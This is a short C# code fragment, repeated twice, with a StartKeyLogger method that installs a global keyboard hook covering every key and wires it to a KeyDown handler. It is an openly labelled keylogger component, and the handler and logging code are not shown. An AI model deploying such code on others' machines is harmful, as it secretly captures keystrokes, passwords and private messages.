public void StartKeyLogger() { Sentences = new List <string>(); gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook gHook.KeyDown += gHook_KeyDown; // Add the keys you want to hook to the HookedKeys list foreach (Keys key in Enum.GetValues(typeof(Keys))) { gHook.HookedKeys.Add(key); } gHook.unhook(); gHook.hook(); }
public void StartKeyLogger() { Sentences = new List<string>(); gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook gHook.KeyDown += gHook_KeyDown; // Add the keys you want to hook to the HookedKeys list foreach (Keys key in Enum.GetValues(typeof(Keys))) { gHook.HookedKeys.Add(key); } gHook.unhook(); gHook.hook(); }